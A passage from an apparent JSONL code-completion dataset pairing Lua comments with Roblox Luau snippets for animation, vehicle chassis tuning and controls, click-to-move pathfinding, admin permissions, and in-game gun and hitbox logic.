then\n\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\telse\n\t--\t\tprint(\"Keyframe : \".. frameName)\n\t\n\t\t\tlocal repeatAnim = currentAnim\n\t\t\t-- return to idle if finishing an emote\n\t\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\t\trepeatAnim = \"idle\"\n\t\t\tend\n\t\t\t\n\t\t\tlocal animSpeed = currentAnimSpeed\n\t\t\tplayAnimation(repeatAnim, 0.15, Humanoid)\n\t\t\tsetAnimationSpeed(animSpeed)\n\t\tend\n\tend\nend\n\nfunction rollAnimation(animName)\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\treturn idx\nend\n\nfunction playAnimation(animName, transitionTime, humanoid) \n\t\t\n\tlocal idx = rollAnimation(animName)\n\t"} +{"prompt": "-- Backwards compatibility", "completion": "\nPromise.async = Promise.defer\n"} +{"prompt": "--[[ << GROUP PERMISSIONS >>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\nFormat: [GroupId] = { [GroupRoleNumber] = \"PermissionName\", OR PermissionNumber, };\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]]", "completion": "\nGroup_Permissions={\n\t[0] = { [254]=\"HeadAdmin\", [1]=\"VIP\", };\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t;\n\n"} +{"prompt": "--[[Engine (Avxnturador)]]", "completion": "\n\n\t-- Everything below can be illustrated and tuned with the graph below.\n\t-- https://www.desmos.com/calculator/oishj9m1tq\n\t-- This includes everything, from the engines, to boost, to electric.\n\t\n\t-- To import engines prior to AC6C V1.3, consult the README.\n\t\n\t-- Naturally Aspirated Engine\n\tTune.Engine \t\t= true\t\t\n\t\t\n\t\tTune.Horsepower\t\t= 100\n\t\tTune.IdleRPM\t\t= 750\n\t\tTune.PeakRPM\t\t= 5800\n\t\tTune.Redline\t\t= 6000\n\t\tTune.EqPoint\t\t= 5252\n\t\tTune.PeakSharpness\t= 10\n\t\tTune.CurveMult\t\t= 0.4\n\t\n\t-- Electric Engine\n\tTune.Electric\t\t= false\n\t\t\n\t\tTune.E_Redline\t= 12700\n\t\tTune.E_Trans1\t= 4000\n\t\tTune.E_Trans2\t= 7000\n\t\t-- Horsepower\n\t\tTune.E_Horsepower\t= 223\n\t\tTune.EH_FrontMult\t= 0.15\n\t\tTune.EH_EndMult\t\t= 2.9\n\t\tTune.EH_EndPercent\t= 7\n\t\t-- Torque\n\t\tTune.E_Torque\t\t= 286\n\t\tTune.ET_EndMult\t\t= 1.505\n\t\tTune.ET_EndPercent\t= 27.5\n\t\t\n\t-- Turbocharger\n\tTune.Turbochargers\t= 1\t\t\t\t-- Number of turbochargers in the engine\n\t\t\t\t\t\t\t\t\t\t-- Set to 0 for no turbochargers\n\t\tTune.T_Boost\t\t= 25\n\t\tTune.T_Efficiency\t= 10\n\t\t\n\t\tTune.T_Size\t\t\t= 1\t\t-- Turbo Size; Bigger size = more turbo lag\n\t\t\n\t-- Supercharger\n\tTune.Superchargers\t= 0\t\t\t\t-- Number of superchargers in the engine\n\t\t\t\t\t\t\t\t\t\t-- Set to 0 for no superchargers\n\t\tTune.S_Boost\t\t= 7\n\t\tTune.S_Efficiency\t= 8.5\n\t\t\n\t\tTune.S_Sensitivity\t= 0.05\t\t-- Supercharger responsiveness/sensitivity, applied per tick (recommended values between 0.05 to 0.1)\n\t\t\n\t--Misc\n\tTune.ThrotAccel\t\t= .05\t\t-- Throttle acceleration, applied per tick (recommended values between 0.05 to 0.1)\n\tTune.ThrotDecel\t\t= .2\t\t-- Throttle deceleration, applied per tick (recommended values between 0.1 to 0.3)\n\t\n\tTune.BrakeAccel\t\t= .2\t\t-- Brake acceleration, applied per tick\n\tTune.BrakeDecel\t\t= .5\t\t-- Brake deceleration, applied per tick\n\t\n\tTune.RevAccel\t\t= 250\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\t\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.Flywheel\t\t= 500\t\t-- Flywheel weight (higher = faster response, lower = more stable RPM)\n\t\n\tTune.InclineComp\t= 1\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal movementKeys = {\n\t[Enum.KeyCode.W] = true;\n\t[Enum.KeyCode.A] = true;\n\t[Enum.KeyCode.S] = true;\n\t[Enum.KeyCode.D] = true;\n\t[Enum.KeyCode.Up] = true;\n\t[Enum.KeyCode.Down] = true;\n}\n\nlocal FFlagUserNavigationClickToMoveSkipPassedWaypointsSuccess, FFlagUserNavigationClickToMoveSkipPassedWaypointsResult = pcall(function() return UserSettings():IsUserFeatureEnabled(\"UserNavigationClickToMoveSkipPassedWaypoints\") end)\nlocal FFlagUserNavigationClickToMoveSkipPassedWaypoints = FFlagUserNavigationClickToMoveSkipPassedWaypointsSuccess and FFlagUserNavigationClickToMoveSkipPassedWaypointsResult\n\nlocal Player = Players.LocalPlayer\n\nlocal ClickToMoveDisplay = require(script.Parent:WaitForChild(\"ClickToMoveDisplay\"))\n\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\nlocal ALMOST_ZERO = 0.000001\n\n"} +{"prompt": "-- \u0625\u0646\u0634\u0627\u0621 \u062d\u062f\u062b \u0627\u0644\u0627\u0635\u0637\u062f\u0627\u0645", "completion": "\nwall.Touched:Connect(onTouched)\n"} +{"prompt": "--[[\n\tCreates an enum dictionary with some metamethods to prevent common mistakes.\n]]", "completion": "\nlocal function makeEnum(enumName, members)\n\tlocal enum = {}\n\n\tfor _, memberName in ipairs(members) do\n\t\tenum[memberName] = memberName\n\tend\n\n\treturn setmetatable(enum, {\n\t\t__index = function(_, k)\n\t\t\terror(string.format(\"%s is not in %s!\", k, enumName), 2)\n\t\tend,\n\t\t__newindex = function()\n\t\t\terror(string.format(\"Creating new members in %s is not allowed!\", enumName), 2)\n\t\tend,\n\t})\nend\n"} +{"prompt": "-- Types of joints to assume should be preserved", "completion": "\nlocal ManualJointTypes = Support.FlipTable { 'Weld', 'ManualWeld', 'ManualGlue', 'Motor', 'Motor6D' };\n\nfunction SearchJoints(Haystack, Part, Whitelist)\n\t-- Searches for and returns manual joints in `Haystack` involving `Part` and other parts in `Whitelist`\n\n\tlocal Joints = {};\n\n\t-- Search the haystack for joints involving `Part`\n\tfor _, Item in pairs(GetChildren(Haystack)) do\n\n\t\t-- Check if this item is a manual, intentional joint\n\t\tif ManualJointTypes[Item.ClassName] and\n\t\t (Whitelist[Item.Part0] and Whitelist[Item.Part1]) then\n\n\t\t\t-- Save joint and state if intentional\n\t\t\tJoints[Item] = Item.Parent;\n\n\t\tend;\n\n\tend;\n\n\t-- Return the found joints\n\treturn Joints;\n\nend;\n\nfunction RestoreJoints(Joints)\n\t-- Restores the joints from the given `Joints` data\n\n\t-- Restore each joint\n\tfor Joint, JointParent in pairs(Joints) do\n\t\tJoint.Parent = JointParent;\n\tend;\n\nend;\n\nfunction PreserveJoints(Part, Whitelist)\n\t-- Preserves and returns intentional joints of `Part` connecting parts in `Whitelist`\n\n\t-- Get the part's joints\n\tlocal Joints = GetPartJoints(Part, Whitelist);\n\n\t-- Save the joints from being broken\n\tfor Joint in pairs(Joints) do\n\t\tJoint.Parent = nil;\n\tend;\n\n\t-- Return the joints\n\treturn Joints;\n\nend;\n"} +{"prompt": "--[[[Default Controls]]", "completion": "\n\t--Peripheral Deadzones\n\tTune.Peripherals = {\n\t\tMSteerWidth\t\t\t\t= 67\t\t,\t-- Mouse steering control width\t(0 - 100% of screen width)\n\t\tMSteerDZone\t\t\t\t= 10\t\t,\t-- Mouse steering deadzone (0 - 100%)\n\t\t\n\t\tControlLDZone\t\t\t= 5\t\t\t,\t-- Controller steering L-deadzone (0 - 100%)\n\t\tControlRDZone\t\t\t= 5\t\t\t,\t-- Controller steering R-deadzone (0 - 100%)\n\t}\n\t\n\t--Control Mapping\n\tTune.Controls = {\n\t\t\n\t--Keyboard Controls\n\t\t--Mode Toggles\n\t\tToggleTCS\t\t\t\t= Enum.KeyCode.T\t\t\t\t\t,\n\t\tToggleABS\t\t\t\t= Enum.KeyCode.Y\t\t\t\t\t,\n\t\tToggleTransMode\t\t\t= Enum.KeyCode.M\t\t\t\t\t,\n\t\tToggleMouseDrive\t\t= Enum.KeyCode.R\t\t\t\t\t,\n\t\t\n\t\t--Primary Controls\n\t\tThrottle\t\t\t\t= Enum.KeyCode.Up\t\t\t\t\t,\n\t\tBrake\t\t\t\t\t= Enum.KeyCode.Down\t\t\t\t\t,\n\t\tSteerLeft\t\t\t\t= Enum.KeyCode.Left\t\t\t\t\t,\n\t\tSteerRight\t\t\t\t= Enum.KeyCode.Right\t\t\t\t,\n\t\t\n\t\t--Secondary Controls\n\t\tThrottle2\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tBrake2\t\t\t\t\t= Enum.KeyCode.S\t\t\t\t\t,\n\t\tSteerLeft2\t\t\t\t= Enum.KeyCode.A\t\t\t\t\t,\n\t\tSteerRight2\t\t\t\t= Enum.KeyCode.D\t\t\t\t\t,\n\t\t\n\t\t--Manual Transmission\n\t\tShiftUp\t\t\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tShiftDown\t\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tClutch\t\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t\t--Handbrake\n\t\tPBrake\t\t\t\t\t= Enum.KeyCode.P\t\t\t\t\t,\n\t\t\n\t--Mouse Controls\n\t\tMouseThrottle\t\t\t= Enum.UserInputType.MouseButton1\t,\n\t\tMouseBrake\t\t\t\t= Enum.UserInputType.MouseButton2\t,\n\t\tMouseClutch\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tMouseShiftUp\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tMouseShiftDown\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tMousePBrake\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t--Controller Mapping\n\t\tContlrThrottle\t\t\t= Enum.KeyCode.ButtonR2\t\t\t\t,\n\t\tContlrBrake\t\t\t\t= Enum.KeyCode.ButtonL2\t\t\t\t,\n\t\tContlrSteer\t\t\t\t= Enum.KeyCode.Thumbstick1\t\t\t,\n\t\tContlrShiftUp\t\t\t= Enum.KeyCode.ButtonY\t\t\t\t,\n\t\tContlrShiftDown\t\t\t= Enum.KeyCode.ButtonX\t\t\t\t,\n\t\tContlrClutch\t\t\t= Enum.KeyCode.ButtonR1\t\t\t\t,\n\t\tContlrPBrake\t\t\t= Enum.KeyCode.ButtonL1\t\t\t\t,\n\t\tContlrToggleTMode\t\t= Enum.KeyCode.DPadUp\t\t\t\t,\n\t\tContlrToggleTCS\t\t\t= Enum.KeyCode.DPadDown\t\t\t\t,\n\t\tContlrToggleABS\t\t\t= Enum.KeyCode.DPadRight\t\t\t,\n\t}\n\t"} +{"prompt": "--// Gun Parts", "completion": "\nlocal L_24_ = L_1_.Bolt\nlocal L_25_ = L_1_.Mag\nlocal L_26_ = L_1_.FirePart\nlocal L_27_ = L_4_:WaitForChild('FX')\nlocal L_28_\n"} +{"prompt": "-- The pierce function can also be used for things like bouncing.\n-- In reality, it's more of a function that the module uses to ask \"Do I end the cast now, or do I keep going?\"\n-- Because of this, you can use it for logic such as ray reflection or other redirection methods.\n-- A great example might be to pierce or bounce based on something like velocity or angle.\n-- You can see this implementation further down in the OnRayPierced function.", "completion": "\nfunction CanRayPierce(cast, rayResult, segmentVelocity)\n\t\n\t-- Let's keep track of how many times we've hit something.\n\tlocal hits = cast.UserData.Hits\n\tif (hits == nil) then\n\t\t-- If the hit data isn't registered, set it to 1 (because this is our first hit)\n\t\tcast.UserData.Hits = 1\n\telse\n\t\t-- If the hit data is registered, add 1.\n\t\tcast.UserData.Hits += 1\n\tend\n\t\n\t-- And if the hit count is over 3, don't allow piercing and instead stop the ray.\n\tif (cast.UserData.Hits > 3) then\n\t\treturn false\n\tend\n\t\n\t-- Now if we make it here, we want our ray to continue.\n\t-- This is extra important! If a bullet bounces off of something, maybe we want it to do damage too!\n\t-- So let's implement that.\n\tlocal hitPart = rayResult.Instance\n\tif hitPart ~= nil and hitPart.Parent ~= nil then\n\t\tlocal humanoid = hitPart.Parent:FindFirstChildOfClass(\"Humanoid\")\n\t\tif humanoid then\n\t\t\thumanoid:TakeDamage(10) -- Damage.\n\t\tend\n\t\t\n\t\tif hitPart.Parent == workspace.BuildParts and hitPart.Health then\n\t\t\thitPart.Health.Value -= 10\n\t\t\tif hitPart.Health.Value <= 0 then\n\t\t\t\thitPart:Destroy()\n\t\t\tend\n\t\tend\n\tend\n\t\n\t-- And then lastly, return true to tell FC to continue simulating.\n\treturn true\n\t\n\t--[[\n\t-- This function shows off the piercing feature literally. Pass this function as the last argument (after bulletAcceleration) and it will run this every time the ray runs into an object.\n\t\n\t-- Do note that if you want this to work properly, you will need to edit the OnRayPierced event handler below so that it doesn't bounce.\n\t\n\tif material == Enum.Material.Plastic or material == Enum.Material.Ice or material == Enum.Material.Glass or material == Enum.Material.SmoothPlastic then\n\t\t-- Hit glass, plastic, or ice...\n\t\tif hitPart.Transparency >= 0.5 then\n\t\t\t-- And it's >= half transparent...\n\t\t\treturn true -- Yes! We can pierce.\n\t\tend\n\tend\n\treturn false\n\t--]]\nend\n\nfunction Fire(direction)\n\t-- Called when we want to fire the gun.\n\tif Tool.Parent:IsA(\"Backpack\") then return end -- Can't fire if it's not equipped.\n\t-- Note: Above isn't in the event as it will prevent the CanFire value from being set as needed.\n\t\n\t-- UPD. 11 JUNE 2019 - Add support for random angles.\n\tlocal directionalCF = CFrame.new(Vector3.new(), direction)\n\t-- Now, we can use CFrame orientation to our advantage.\n\t-- Overwrite the existing Direction value.\n\tlocal direction = (directionalCF * CFrame.fromOrientation(0, 0, RNG:NextNumber(0, TAU)) * CFrame.fromOrientation(math.rad(RNG:NextNumber(MIN_BULLET_SPREAD_ANGLE, MAX_BULLET_SPREAD_ANGLE)), 0, 0)).LookVector\n\t\n\t-- UPDATE V6: Proper bullet velocity!\n\t-- IF YOU DON'T WANT YOUR BULLETS MOVING WITH YOUR CHARACTER, REMOVE THE THREE LINES OF CODE BELOW THIS COMMENT.\n\t-- Requested by https://www.roblox.com/users/898618/profile/\n\t-- We need to make sure the bullet inherits the velocity of the gun as it fires, just like in real life.\n\tlocal humanoidRootPart = Tool.Parent:WaitForChild(\"HumanoidRootPart\", 1)\t-- Add a timeout to this.\n\tlocal myMovementSpeed = humanoidRootPart.Velocity\t\t\t\t\t\t\t-- To do: It may be better to get this value on the clientside since the server will see this value differently due to ping and such.\n\tlocal modifiedBulletSpeed = (direction * BULLET_SPEED)-- + myMovementSpeed\t-- We multiply our direction unit by the bullet speed. This creates a Vector3 version of the bullet's velocity at the given speed. We then add MyMovementSpeed to add our body's motion to the velocity.\n\t\n\tif PIERCE_DEMO then\n\t\tCastBehavior.CanPierceFunction = CanRayPierce\n\tend\n\t\n\tlocal simBullet = Caster:Fire(FirePointObject.WorldPosition, direction, modifiedBulletSpeed, CastBehavior)\n\t-- Optionally use some methods on simBullet here if applicable.\n\t\n\t-- Play the sound\n\tPlayFireSound()\nend\n"} +{"prompt": "----///Functions///", "completion": "\n\nfunction HideChar(char,val)\n\tfor _,v in pairs(char:GetDescendants()) do\n\t\tif v:IsA(\"Part\") or v:IsA(\"MeshPart\") then\n\t\t\tif v.Name ~= \"HumanoidRootPart\" then\n\t\t\t\tv.Transparency = val\n\t\t\tend\n\t\tend\n\tend\nend\n\nVehicleRemotes.LeaveSeat.OnServerEvent:Connect(function(plr) ---Leave seat remote\n\tif plr.Character.Humanoid.SeatPart ~= nil then\n\t\tlocal VehChair = plr.Character.Humanoid.SeatPart\n\t\tVehChair.Disabled = true\n\tend\nend)\n\nVehicleRemotes.EnterSeat.OnServerEvent:Connect(function(plr) ---Enter seat remote\n\tprint(\"Entered\")\n\t--HideChar(plr.Character,1)\n\t--plr.Character.Humanoid.JumpPower = 0\nend)\n"} +{"prompt": "--- Finds a hitbox object if valid, else return nil\n-- @param Object instance", "completion": "\nfunction RaycastHitbox:GetHitbox(object: any?)\n\tif object then\n\t\treturn HitboxData:_FindHitbox(object)\n\tend\nend\n\nreturn RaycastHitbox\n"} +{"prompt": "-----------------------------------PATHER--------------------------------------", "completion": "\n\nlocal function Pather(endPoint, surfaceNormal, overrideUseDirectPath)\n\tlocal this = {}\n\n\tlocal directPathForHumanoid\n\tlocal directPathForVehicle\n\tif overrideUseDirectPath ~= nil then\n\t\tdirectPathForHumanoid = overrideUseDirectPath\n\t\tdirectPathForVehicle = overrideUseDirectPath\n\telse\n\t\tdirectPathForHumanoid = UseDirectPath\n\t\tdirectPathForVehicle = UseDirectPathForVehicle\n\tend\n\n\tthis.Cancelled = false\n\tthis.Started = false\n\n\tthis.Finished = Instance.new(\"BindableEvent\")\n\tthis.PathFailed = Instance.new(\"BindableEvent\")\n\n\tthis.PathComputing = false\n\tthis.PathComputed = false\n\n\tthis.OriginalTargetPoint = endPoint\n\tthis.TargetPoint = endPoint\n\tthis.TargetSurfaceNormal = surfaceNormal\n\n\tthis.DiedConn = nil\n\tthis.SeatedConn = nil\n\tthis.BlockedConn = nil\n\tthis.TeleportedConn = nil\n\n\tthis.CurrentPoint = 0\n\n\tthis.HumanoidOffsetFromPath = ZERO_VECTOR3\n\n\tthis.CurrentWaypointPosition = nil\n\tthis.CurrentWaypointPlaneNormal = ZERO_VECTOR3\n\tthis.CurrentWaypointPlaneDistance = 0\n\tthis.CurrentWaypointNeedsJump = false;\n\n\tthis.CurrentHumanoidPosition = ZERO_VECTOR3\n\tthis.CurrentHumanoidVelocity = 0\n\n\tthis.NextActionMoveDirection = ZERO_VECTOR3\n\tthis.NextActionJump = false\n\n\tthis.Timeout = 0\n\n\tthis.Humanoid = findPlayerHumanoid(Player)\n\tthis.OriginPoint = nil\n\tthis.AgentCanFollowPath = false\n\tthis.DirectPath = false\n\tthis.DirectPathRiseFirst = false\n\n\tlocal rootPart = this.Humanoid and this.Humanoid.RootPart\n\tif rootPart then\n\t\t-- Setup origin\n\t\tthis.OriginPoint = rootPart.CFrame.p\n\n\t\t-- Setup agent\n\t\tlocal agentRadius = 2\n\t\tlocal agentHeight = 5\n\t\tlocal agentCanJump = true\n\n\t\tlocal seat = this.Humanoid.SeatPart\n\t\tif seat and seat:IsA(\"VehicleSeat\") then\n\t\t\t-- Humanoid is seated on a vehicle\n\t\t\tlocal vehicle = seat:FindFirstAncestorOfClass(\"Model\")\n\t\t\tif vehicle then\n\t\t\t\t-- Make sure the PrimaryPart is set to the vehicle seat while we compute the extends.\n\t\t\t\tlocal tempPrimaryPart = vehicle.PrimaryPart\n\t\t\t\tvehicle.PrimaryPart = seat\n\n\t\t\t\t-- For now, only direct path\n\t\t\t\tif directPathForVehicle then\n\t\t\t\t\tlocal extents = vehicle:GetExtentsSize()\n\t\t\t\t\tagentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)\n\t\t\t\t\tagentHeight = AgentSizeIncreaseFactor * extents.Y\n\t\t\t\t\tagentCanJump = false\n\t\t\t\t\tthis.AgentCanFollowPath = true\n\t\t\t\t\tthis.DirectPath = directPathForVehicle\n\t\t\t\tend\n\n\t\t\t\t-- Reset PrimaryPart\n\t\t\t\tvehicle.PrimaryPart = tempPrimaryPart\n\t\t\tend\n\t\telse\n\t\t\tlocal extents = GetCharacter():GetExtentsSize()\n\t\t\tagentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)\n\t\t\tagentHeight = AgentSizeIncreaseFactor * extents.Y\n\t\t\tagentCanJump = (this.Humanoid.JumpPower > 0)\n\t\t\tthis.AgentCanFollowPath = true\n\t\t\tthis.DirectPath = directPathForHumanoid\n\t\t\tthis.DirectPathRiseFirst = this.Humanoid.Sit\n\t\tend\n\n\t\t-- Build path object\n\t\tthis.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump})\n\tend\n\n\tfunction this:Cleanup()\n\t\tif this.stopTraverseFunc then\n\t\t\tthis.stopTraverseFunc()\n\t\t\tthis.stopTraverseFunc = nil\n\t\tend\n\n\t\tif this.MoveToConn then\n\t\t\tthis.MoveToConn:Disconnect()\n\t\t\tthis.MoveToConn = nil\n\t\tend\n\n\t\tif this.BlockedConn then\n\t\t\tthis.BlockedConn:Disconnect()\n\t\t\tthis.BlockedConn = nil\n\t\tend\n\n\t\tif this.DiedConn then\n\t\t\tthis.DiedConn:Disconnect()\n\t\t\tthis.DiedConn = nil\n\t\tend\n\n\t\tif this.SeatedConn then\n\t\t\tthis.SeatedConn:Disconnect()\n\t\t\tthis.SeatedConn = nil\n\t\tend\n\n\t\tif this.TeleportedConn then\n\t\t\tthis.TeleportedConn:Disconnect()\n\t\t\tthis.TeleportedConn = nil\n\t\tend\n\n\t\tthis.Started = false\n\tend\n\n\tfunction this:Cancel()\n\t\tthis.Cancelled = true\n\t\tthis:Cleanup()\n\tend\n\n\tfunction this:IsActive()\n\t\treturn this.AgentCanFollowPath and this.Started and not this.Cancelled\n\tend\n\n\tfunction this:OnPathInterrupted()\n\t\t-- Stop moving\n\t\tthis.Cancelled = true\n\t\tthis:OnPointReached(false)\n\tend\n\n\tfunction this:ComputePath()\n\t\tif this.OriginPoint then\n\t\t\tif this.PathComputed or this.PathComputing then return end\n\t\t\tthis.PathComputing = true\n\t\t\tif this.AgentCanFollowPath then\n\t\t\t\tif this.DirectPath then\n\t\t\t\t\tthis.pointList = {\n\t\t\t\t\t\tPathWaypoint.new(this.OriginPoint, Enum.PathWaypointAction.Walk),\n\t\t\t\t\t\tPathWaypoint.new(this.TargetPoint, this.DirectPathRiseFirst and Enum.PathWaypointAction.Jump or Enum.PathWaypointAction.Walk)\n\t\t\t\t\t}\n\t\t\t\t\tthis.PathComputed = true\n\t\t\t\telse\n\t\t\t\t\tthis.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)\n\t\t\t\t\tthis.pointList = this.pathResult:GetWaypoints()\n\t\t\t\t\tthis.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end)\n\t\t\t\t\tthis.PathComputed = this.pathResult.Status == Enum.PathStatus.Success\n\t\t\t\tend\n\t\t\tend\n\t\t\tthis.PathComputing = false\n\t\tend\n\tend\n\n\tfunction this:IsValidPath()\n\t\tthis:ComputePath()\n\t\treturn this.PathComputed and this.AgentCanFollowPath\n\tend\n\n\tthis.Recomputing = false\n\tfunction this:OnPathBlocked(blockedWaypointIdx)\n\t\tlocal pathBlocked = blockedWaypointIdx >= this.CurrentPoint\n\t\tif not pathBlocked or this.Recomputing then\n\t\t\treturn\n\t\tend\n\n\t\tthis.Recomputing = true\n\n\t\tif this.stopTraverseFunc then\n\t\t\tthis.stopTraverseFunc()\n\t\t\tthis.stopTraverseFunc = nil\n\t\tend\n\n\t\tthis.OriginPoint = this.Humanoid.RootPart.CFrame.p\n\n\t\tthis.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)\n\t\tthis.pointList = this.pathResult:GetWaypoints()\n\t\tif #this.pointList > 0 then\n\t\t\tthis.HumanoidOffsetFromPath = this.pointList[1].Position - this.OriginPoint\n\t\tend\n\t\tthis.PathComputed = this.pathResult.Status == Enum.PathStatus.Success\n\n\t\tif ShowPath then\n\t\t\tthis.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList)\n\t\tend\n\t\tif this.PathComputed then\n\t\t\tthis.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.\n\t\t\tthis:OnPointReached(true) -- Move to first point\n\t\telse\n\t\t\tthis.PathFailed:Fire()\n\t\t\tthis:Cleanup()\n\t\tend\n\n\t\tthis.Recomputing = false\n\tend\n\n\tfunction this:OnRenderStepped(dt)\n\t\tif this.Started and not this.Cancelled then\n\t\t\t-- Check for Timeout (if a waypoint is not reached within the delay, we fail)\n\t\t\tthis.Timeout = this.Timeout + dt\n\t\t\tif this.Timeout > UnreachableWaypointTimeout then\n\t\t\t\tthis:OnPointReached(false)\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\t-- Get Humanoid position and velocity\n\t\t\tthis.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath\n\t\t\tthis.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity\n\n\t\t\t-- Check if it has reached some waypoints\n\t\t\twhile this.Started and this:IsCurrentWaypointReached() do\n\t\t\t\tthis:OnPointReached(true)\n\t\t\tend\n\n\t\t\t-- If still started, update actions\n\t\t\tif this.Started then\n\t\t\t\t-- Move action\n\t\t\t\tthis.NextActionMoveDirection = this.CurrentWaypointPosition - this.CurrentHumanoidPosition\n\t\t\t\tif this.NextActionMoveDirection.Magnitude > ALMOST_ZERO then\n\t\t\t\t\tthis.NextActionMoveDirection = this.NextActionMoveDirection.Unit\n\t\t\t\telse\n\t\t\t\t\tthis.NextActionMoveDirection = ZERO_VECTOR3\n\t\t\t\tend\n\t\t\t\t-- Jump action\n\t\t\t\tif this.CurrentWaypointNeedsJump then\n\t\t\t\t\tthis.NextActionJump = true\n\t\t\t\t\tthis.CurrentWaypointNeedsJump = false\t-- Request jump only once\n\t\t\t\telse\n\t\t\t\t\tthis.NextActionJump = false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\tfunction this:IsCurrentWaypointReached()\n\t\tlocal reached = false\n\n\t\t-- Check we do have a plane, if not, we consider the waypoint reached\n\t\tif this.CurrentWaypointPlaneNormal ~= ZERO_VECTOR3 then\n\t\t\t-- Compute distance of Humanoid from destination plane\n\t\t\tlocal dist = this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidPosition) - this.CurrentWaypointPlaneDistance\n\t\t\t-- Compute the component of the Humanoid velocity that is towards the plane\n\t\t\tlocal velocity = -this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidVelocity)\n\t\t\t-- Compute the threshold from the destination plane based on Humanoid velocity\n\t\t\tlocal threshold = math.max(1.0, 0.0625 * velocity)\n\t\t\t-- If we are less then threshold in front of the plane (between 0 and threshold) or if we are behing the plane (less then 0), we consider we reached it\n\t\t\treached = dist < threshold\n\t\telse\n\t\t\treached = true\n\t\tend\n\n\t\tif reached then\n\t\t\tthis.CurrentWaypointPosition = nil\n\t\t\tthis.CurrentWaypointPlaneNormal\t= ZERO_VECTOR3\n\t\t\tthis.CurrentWaypointPlaneDistance = 0\n\t\tend\n\n\t\treturn reached\n\tend\n\n\tfunction this:OnPointReached(reached)\n\n\t\tif reached and not this.Cancelled then\n\t\t\t-- First, destroyed the current displayed waypoint\n\t\t\tif this.setPointFunc then\n\t\t\t\tthis.setPointFunc(this.CurrentPoint)\n\t\t\tend\n\n\t\t\tlocal nextWaypointIdx = this.CurrentPoint + 1\n\n\t\t\tif nextWaypointIdx > #this.pointList then\n\t\t\t\t-- End of path reached\n\t\t\t\tif this.stopTraverseFunc then\n\t\t\t\t\tthis.stopTraverseFunc()\n\t\t\t\tend\n\t\t\t\tthis.Finished:Fire()\n\t\t\t\tthis:Cleanup()\n\t\t\telse\n\t\t\t\tlocal currentWaypoint = this.pointList[this.CurrentPoint]\n\t\t\t\tlocal nextWaypoint = this.pointList[nextWaypointIdx]\n\n\t\t\t\t-- If airborne, only allow to keep moving\n\t\t\t\t-- if nextWaypoint.Action ~= Jump, or path mantains a direction\n\t\t\t\t-- Otherwise, wait until the humanoid gets to the ground\n\t\t\t\tlocal currentState = this.Humanoid:GetState()\n\t\t\t\tlocal isInAir = currentState == Enum.HumanoidStateType.FallingDown\n\t\t\t\t\tor currentState == Enum.HumanoidStateType.Freefall\n\t\t\t\t\tor currentState == Enum.HumanoidStateType.Jumping\n\n\t\t\t\tif isInAir then\n\t\t\t\t\tlocal shouldWaitForGround = nextWaypoint.Action == Enum.PathWaypointAction.Jump\n\t\t\t\t\tif not shouldWaitForGround and this.CurrentPoint > 1 then\n\t\t\t\t\t\tlocal prevWaypoint = this.pointList[this.CurrentPoint - 1]\n\n\t\t\t\t\t\tlocal prevDir = currentWaypoint.Position - prevWaypoint.Position\n\t\t\t\t\t\tlocal currDir = nextWaypoint.Position - currentWaypoint.Position\n\n\t\t\t\t\t\tlocal prevDirXZ = Vector2.new(prevDir.x, prevDir.z).Unit\n\t\t\t\t\t\tlocal currDirXZ = Vector2.new(currDir.x, currDir.z).Unit\n\n\t\t\t\t\t\tlocal THRESHOLD_COS = 0.996 -- ~cos(5 degrees)\n\t\t\t\t\t\tshouldWaitForGround = prevDirXZ:Dot(currDirXZ) < THRESHOLD_COS\n\t\t\t\t\tend\n\n\t\t\t\t\tif shouldWaitForGround 